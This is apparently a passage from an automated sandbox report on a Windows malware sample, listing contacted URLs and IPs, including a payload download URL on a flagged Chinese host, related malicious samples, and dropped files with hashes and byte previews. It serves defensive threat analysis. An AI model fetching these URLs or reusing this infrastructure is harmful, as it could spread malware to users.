00000002.00000003.2247266139.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002D01000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://61.147.93.116:9889/shield/ougsdp1og.zip?20206445	[ ].exe, 00000002.00000003.2244622256.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246187930.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246656088.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245382130.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247734285.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247266139.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://ocsp1.wosign.com/class3/code/ca106	[ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crls1.wosign.com/ca1-code-3.crl0Q	[ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crls1.wosign.com/ca1.crl0o	[ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://61.147.93.70:9889/shield.html?9387302#	[ ].exe, 00000002.00000003.2248925195.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244622256.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://aia1.wosign.com/ca1-class3-code.cer0	[ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://61.147.93.109:9889/shield.html?7460389zh-cnMozilla/5.0	[ ].exe, 00000002.00000003.2244622256.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246187930.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246656088.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245382130.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247734285.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247266139.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
103.192.208.26	unknown	China	17907	NUSKOPENuSkopePtyLtdAU	false
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
103.192.208.24	unknown	China	17907	NUSKOPENuSkopePtyLtdAU	false
104.192.108.20	dl.360safe.com.dl.360qhcdn.com	United States	55992	QIHOOBeijingQihuTechnologyCompanyLimitedCN	false
103.192.208.122	unknown	China	17907	NUSKOPENuSkopePtyLtdAU	false
115.236.153.253	unknown	China	58461	CT-HANGZHOU-IDCNo288Fu-chunRoadCN	false
115.236.153.230	unknown	China	58461	CT-HANGZHOU-IDCNo288Fu-chunRoadCN	false
43.248.186.137	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
61.147.93.109	qnmdsjc.mm2299.com	China	137697	CHINATELECOM-JIANGSU-YANGZHOU-IDCCHINATELECOMJiangSuYangZ	false
45.124.79.208	unknown	China	55720	GIGABIT-MYGigabitHostingSdnBhdMY	false
61.147.93.189	pgfg.hmnad3463fdefr.cn	China	137697	CHINATELECOM-JIANGSU-YANGZHOU-IDCCHINATELECOMJiangSuYangZ	false
45.124.79.198	unknown	China	55720	GIGABIT-MYGigabitHostingSdnBhdMY	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
61.147.93.116	unknown	China	137697	CHINATELECOM-JIANGSU-YANGZHOU-IDCCHINATELECOMJiangSuYangZ	false
115.236.153.243	unknown	China	58461	CT-HANGZHOU-IDCNo288Fu-chunRoadCN	false
103.192.208.114	unknown	China	17907	NUSKOPENuSkopePtyLtdAU	false
61.147.93.70	kfbb.dewfrevrwde.xyz	China	137697	CHINATELECOM-JIANGSU-YANGZHOU-IDCCHINATELECOMJiangSuYangZ	true

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1537425
Start date and time:	2024-10-18 23:45:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe
Detection:	MAL
Classification:	mal88.rans.troj.evad.winEXE@24/16@7/18
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 60% Number of executed functions: 22 Number of non-executed functions: 135
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 142.250.186.67, 142.250.186.174, 64.233.166.84, 34.104.35.123, 199.232.214.172, 142.250.74.206
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.192.108.20	LisectAVT_2403002C_44.exe	Get hash	malicious	EICAR	Browse
	SecuriteInfo.com.Trojan.Siggen21.32984.28643.30045.exe	Get hash	malicious	EICAR	Browse
	SecuriteInfo.com.Trojan.Siggen21.32984.23311.7465.exe	Get hash	malicious	EICAR	Browse
	SecuriteInfo.com.BackDoor.SpyBotNET.62.21177.12908.exe	Get hash	malicious	EICAR, PureLog Stealer, zgRAT	Browse
	SecuriteInfo.com.Win32.Evo-gen.26431.15713.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc	Browse
	SecuriteInfo.com.Win64.DropperX-gen.29167.15583.exe	Get hash	malicious	PureLog Stealer	Browse
	lgX7lgUL1w.exe	Get hash	malicious	Neoreklami, PureLog Stealer, SmokeLoader	Browse
	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse
	2T6MGxlKZT.exe	Get hash	malicious	SmokeLoader	Browse
	2.exe	Get hash	malicious	SmokeLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dl.360safe.com.dl.360qhcdn.com	_____NCM______2_10042231.exe	Get hash	malicious	Unknown	Browse	104.192.108.19
	_____NCM______2_10042231.exe	Get hash	malicious	Unknown	Browse	104.192.108.20
	Inst7__9510085.exe	Get hash	malicious	Unknown	Browse	104.192.108.21

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
QIHOOBeijingQihuTechnologyCompanyLimitedCN	https://ebaite.cn/	Get hash	malicious	Unknown	Browse	104.192.108.23
	4.exe	Get hash	malicious	BlackMoon	Browse	104.192.110.226
	2.exe	Get hash	malicious	BlackMoon	Browse	104.192.110.226
	1.exe	Get hash	malicious	BlackMoon	Browse	104.192.110.226
	3.exe	Get hash	malicious	BlackMoon, XRed	Browse	104.192.110.226
	1.exe	Get hash	malicious	BlackMoon	Browse	104.192.110.226
	f2.exe	Get hash	malicious	BlackMoon	Browse	104.192.110.226
	f1.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	mirai.spc.elf	Get hash	malicious	Mirai	Browse	101.199.221.204
NUSKOPENuSkopePtyLtdAU	SecuriteInfo.com.Win32.DropperX-gen.16918.1810.dll	Get hash	malicious	Unknown	Browse	103.192.208.102
	SecuriteInfo.com.Win32.DropperX-gen.16918.1810.dll	Get hash	malicious	Unknown	Browse	103.192.208.113
	eRpXfULExv.elf	Get hash	malicious	Mirai	Browse	103.192.195.22
	SV7jDbNsJl.elf	Get hash	malicious	Mirai	Browse	121.54.185.121
	1zDbKSIQpy.exe	Get hash	malicious	Unknown	Browse	103.192.208.90
	8DWLgEjMZ1.elf	Get hash	malicious	Mirai	Browse	103.192.195.47
	Su4wzzasnT.dll	Get hash	malicious	Wannacry	Browse	103.192.217.192
	notabotnet.x86-20220519-1450	Get hash	malicious	Mirai	Browse	121.54.185.158
	ZruyuRgqSD	Get hash	malicious	Mirai	Browse	121.54.185.163
NUSKOPENuSkopePtyLtdAU	SecuriteInfo.com.Win32.DropperX-gen.16918.1810.dll	Get hash	malicious	Unknown	Browse	103.192.208.102
	SecuriteInfo.com.Win32.DropperX-gen.16918.1810.dll	Get hash	malicious	Unknown	Browse	103.192.208.113
	eRpXfULExv.elf	Get hash	malicious	Mirai	Browse	103.192.195.22
	SV7jDbNsJl.elf	Get hash	malicious	Mirai	Browse	121.54.185.121
	1zDbKSIQpy.exe	Get hash	malicious	Unknown	Browse	103.192.208.90
	8DWLgEjMZ1.elf	Get hash	malicious	Mirai	Browse	103.192.195.47
	Su4wzzasnT.dll	Get hash	malicious	Wannacry	Browse	103.192.217.192
	notabotnet.x86-20220519-1450	Get hash	malicious	Mirai	Browse	121.54.185.158
	ZruyuRgqSD	Get hash	malicious	Mirai	Browse	121.54.185.163
NUSKOPENuSkopePtyLtdAU	SecuriteInfo.com.Win32.DropperX-gen.16918.1810.dll	Get hash	malicious	Unknown	Browse	103.192.208.102
	SecuriteInfo.com.Win32.DropperX-gen.16918.1810.dll	Get hash	malicious	Unknown	Browse	103.192.208.113
	eRpXfULExv.elf	Get hash	malicious	Mirai	Browse	103.192.195.22
	SV7jDbNsJl.elf	Get hash	malicious	Mirai	Browse	121.54.185.121
	1zDbKSIQpy.exe	Get hash	malicious	Unknown	Browse	103.192.208.90
	8DWLgEjMZ1.elf	Get hash	malicious	Mirai	Browse	103.192.195.47
	Su4wzzasnT.dll	Get hash	malicious	Wannacry	Browse	103.192.217.192
	notabotnet.x86-20220519-1450	Get hash	malicious	Mirai	Browse	121.54.185.158
	ZruyuRgqSD	Get hash	malicious	Mirai	Browse	121.54.185.163

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	SecuriteInfo.com.Win32.DropperX-gen.7855.32539.exe	Get hash	malicious	Xehook Stealer	Browse	23.1.237.91
	Review_and_Approve25534.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.cognitoforms.com/f/IxmohhCx0E-iVt2iGMIg6g/1	Get hash	malicious	Unknown	Browse	23.1.237.91
	carly.joseph@everbridge.com.html	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	SecuriteInfo.com.Win64.Malware-gen.32485.11504.exe	Get hash	malicious	Python Stealer, Braodo	Browse	23.1.237.91
	Full-Report-RichardP-EBI-Consulting-11-16-2023.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://eos.atebasyno.com/Jed4ZO4/#Kinfo@pickprotection.com	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://yesdarlings.com	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://flipboard.com/redirect?url=https%3A%2F%2Finsidernewz.com%2Flocate-the-ultimate-gourmet-gift-for-halloween-food-enthusiast%2F%3Futm_source%3Dflipboard%26utm_content%3Dmanofmanytastes%252Fmagazine%252FFlipboard%2BMagazine&v=J84-JSir7a1wsGKxFv--frKQTAR4j1FyPVnSw8xfM1sAAAGSmcHjcQ	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://asiansantai.com/	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	http://juupl.alferdaws-center.com/4BuQTp17639YaIh368htsqzgjcla31568MKNWHUCVCNUEJJP15035DSYB17331f12	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://click.pstmrk.it/3s/app.markup.io%2Finvite%2Faccept%2FGAelUtD0/OI9N/z2q4AQ/AQ/914fb818-2548-4566-aa09-a2d85ddc613b/2/KJFV2S8Gzw	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	Remittance Advice Ck 34991.html	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://metrics.unitedigital.io/tagging/AUDIUS/ud_tagging_bundle.js.gz	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://www.seokaos.com/	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	ComSource Inc.pdf	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	http://www.bollywoodhungama.com	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	SecuriteInfo.com.Win32.DropperX-gen.7855.32539.exe	Get hash	malicious	Xehook Stealer	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	Payment Remittance(Randy.helmer)CQDM.html	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\ClinkAPI.dll	1zDbKSIQpy.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ClinkAPI.dll

Download File

Process:	C:\Users\user\Desktop\ [ ].exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	914432
Entropy (8bit):	6.13088425670762
Encrypted:	false
SSDEEP:	12288:kOkITJTwWdgecoifRscYh7l11zw9dOzx0FaRo/0lSCnaHUWX9/:kOkIP4fhYhNwjgL60m/
MD5:	D6911C3E20D2D12A44FF852A4E5D1F50
SHA1:	B42E5BF17DEA3FF00C764D7F418C840AFB0EFE7A
SHA-256:	92CAEE29C4861977C2C23911D0F1BC85AE2A4D17FE20E30A2498AC7E74D3C2B8
SHA-512:	8558D261FDF314900D3B58E0BDF73DFDD8100002146A51A54FFE4F9F1B9AFEF747C3F44E932CA18BB24848E21FB84AE361389238C8B8AE7772A2B4F453679B9E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Joe Sandbox View:	Filename: 1zDbKSIQpy.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R."...L...L...L.P...5.L.P.....L.P.....L.......L...M...L.....2.L.......L.......L.......L.......L.Rich..L.........PE..L...N.sc...........!.....<...........0.......P...............................p............@.................................\...x....0.......................... S......................................@............P..\|............................text....;.......<.................. ..`.rdata...[...P...\...@..............@..@.data....y.......0..................@....rsrc........0......................@..@.reloc.. S.......T..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1158250036 (copy)

Download File

Process:	C:\Users\user\Desktop\ [ ].exe
File Type:	data
Category:	dropped
Size (bytes):	2056192
Entropy (8bit):	6.796145134889176
Encrypted:	false
SSDEEP:	49152:PCicRDJnXrMUpUZ9ItSWhe9SfhOZqOe11SUk8hpWOAIruYEw:PCicPXrMUpU4tSWheYfhOZqJS8jWO1rP
MD5:	EE8844AC79D8D2382EA96F6C02C565C4
SHA1:	B7685FB0B2C0B3931F1CD91A6152026CD6B270F2
SHA-256:	0E217E9EB0E8DDDA3C0C9FFD5BB5D573F19CF53874BDCE30C17E79FFDE2B9382
SHA-512:	04BC2998E26C86E6B1153A5D5F48EF8A96393376D3EBD71F65FA3B30EB0253B041D347443652E2CAC70DF81C919DD53AEEF721856230FE2793673160F7AA6A6E
Malicious:	false
Reputation:	low
Preview:	.....;:..].Yv.k0r....F./j.c..jn.Y.Q.K........$.....7O..6..3...T.J....+..x+.F.._.{."..\..`.N....U...gY+...!.$Z......3...o@...y.xH.5...%..i.Pk....L... .[.O..Q.N8..9.."....\|.5<.tf...'...>.."..l`.p+...C'$.....Xq.~."...l....\|..K..=...y.r)<(`...........rzf..0yB".l.$K.-.}!.Y.\....5.l.!..K..2..../.0..;.m.....r.(...Bm...n...VSr]v..^,.@..-@i.......0.o.....Q..7.y{....F^.7..u...x.^<.....z....h._.EN.X{............%.O.:.K..o.u.\..y.....Z.....U}../.O...RY.Q...Zt.."f..fx....t.(.#....b...,....V.\|^V.".6..S.].P....^../G.2..J.a../\|...4.K]...WY.-........O...7 .-<..$o......MBW.....4.d..fQ.... ?.js.3.U..,.1.FP T...w?.N...../{.....8....X9....h...f .}.y..{..'./...p:..t.Z4.~........{i..k..Z..x4...._m5..3....C.K.Hn.h8<h......JH...(......'..N^..d....].....u..5...M..0..F(...aC.H...1.....b..].V...G......5...$.\|*..u.j~..:.s.B....s...P.7GG........I.....I.?....&........A..G..I.I..~w....iA...&....j...A...G.I.\|....kiki.~w.....hA...&G....B...A...G.I.\|....kiki.~w?....h&..

C:\Users\user\AppData\Local\Temp\2QQdaM2Nxw.bak

Download File

Process:	C:\Users\user\Desktop\ [ ].exe
File Type:	data
Category:	dropped
Size (bytes):	2056192
Entropy (8bit):	6.796145134889176
Encrypted:	false
SSDEEP:	49152:PCicRDJnXrMUpUZ9ItSWhe9SfhOZqOe11SUk8hpWOAIruYEw:PCicPXrMUpU4tSWheYfhOZqJS8jWO1rP
MD5:	EE8844AC79D8D2382EA96F6C02C565C4
SHA1:	B7685FB0B2C0B3931F1CD91A6152026CD6B270F2
SHA-256:	0E217E9EB0E8DDDA3C0C9FFD5BB5D573F19CF53874BDCE30C17E79FFDE2B9382
SHA-512:	04BC2998E26C86E6B1153A5D5F48EF8A96393376D3EBD71F65FA3B30EB0253B041D347443652E2CAC70DF81C919DD53AEEF721856230FE2793673160F7AA6A6E
Malicious:	false
Reputation:	low
Preview:	.....;:..].Yv.k0r....F./j.c..jn.Y.Q.K........$.....7O..6..3...T.J....+..x+.F.._.{."..\..`.N....U...gY+...!.$Z......3...o@...y.xH.5...%..i.Pk....L... .[.O..Q.N8..9.."....\|.5<.tf...'...>.."..l`.p+...C'$.....Xq.~."...l....\|..K..=...y.r)<(`...........rzf..0yB".l.$K.-.}!.Y.\....5.l.!..K..2..../.0..;.m.....r.(...Bm...n...VSr]v..^,.@..-@i.......0.o.....Q..7.y{....F^.7..u...x.^<.....z....h._.EN.X{............%.O.:.K..o.u.\..y.....Z.....U}../.O...RY.Q...Zt.."f..fx....t.(.#....b...,....V.\|^V.".6..S.].P....^../G.2..J.a../\|...4.K]...WY.-........O...7 .-<..$o......MBW.....4.d..fQ.... ?.js.3.U..,.1.FP T...w?.N...../{.....8....X9....h...f .}.y..{..'./...p:..t.Z4.~........{i..k..Z..x4...._m5..3....C.K.Hn.h8<h......JH...(......'..N^..d....].....u..5...M..0..F(...aC.H...1.....b..].V...G......5...$.\|*..u.j~..:.s.B....s...P.7GG........I.....I.?....&........A..G..I.I..~w....iA...&....j...A...G.I.\|....kiki.~w.....hA...&G....B...A...G.I.\|....kiki.~w?....h&..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 20:46:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9805013970548555
Encrypted:	false
SSDEEP:	48:8v2dKDTqLQbH5idAKZdA19ehwiZUklqehgy+3:8FD2sXzy
MD5:	DE190A2A9C871D4DDC0B1597C190F986
SHA1:	6D6A2B65E66824C93792763A5A41B71D5CBDCC28
SHA-256:	FC8ABA8A16DBA28FD4891E7983B246B1A0B2155399ABBD97949D2EA3E716E74C
SHA-512:	02E94F28A8F9EDC26A2AB4DBA8DA2CA3292D83E52911EC36665177B7725C0DC74A409F5659780072546A20EFCAFD8183A7B5A96952ED7E6823E728FA828F02E2
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......1.!..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IRY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VRY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VRY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VRY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............1......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 20:46:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9926124365256936
Encrypted:	false
SSDEEP:	48:8Rs2dKDTqLQbH5idAKZdA1weh/iZUkAQkqehjy+2:8ID2sd9Qyy
MD5:	6E8397B7C006C11E65AC174BA93D1A47
SHA1:	B45D82F8153F534A02CA57AE60663AE3D9C0A53C
SHA-256:	EDDEF5619E4CB700DB8358D1F71782372BF00A9211C803B56A31C944314C3776
SHA-512:	3F453E55566B2B1F670FB9C779BCA8F85357BC268444D8E1305D0A14044279D83419D9918DA7ACF2BC1BC11368BD2E7FD3FD07A32FB579D2B16E938A062DF69F
Malicious:	false
Preview:	L..................F.@.. ...$+.,....e.~1.!..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IRY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VRY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VRY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VRY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............1......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.008329373561894
Encrypted:	false
SSDEEP:	48:8xs2dKDTqLQsH5idAKZdA14tseh7sFiZUkmgqeh7sly+BX:8xOD2sMn/y
MD5:	F743A2F861FBA11A76EA4B2389A73464
SHA1:	6F3D26F0D42FB133D5DC9B8D7B1C5F8D38F4C00F
SHA-256:	5291F33E778645AE76FB2E61E33B2930EA867012A22A2A26843DA48FDC3EED90
SHA-512:	D4A5D7C9F246187C5C9DF5E6A694A19C10480FE52F3BD25E77EF57C8628837D2687A10A156CF56CA16E7FFC3CA4F2E2546E079FBC827C4B51E6AB4C011954865
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IRY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VRY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VRY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............1......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
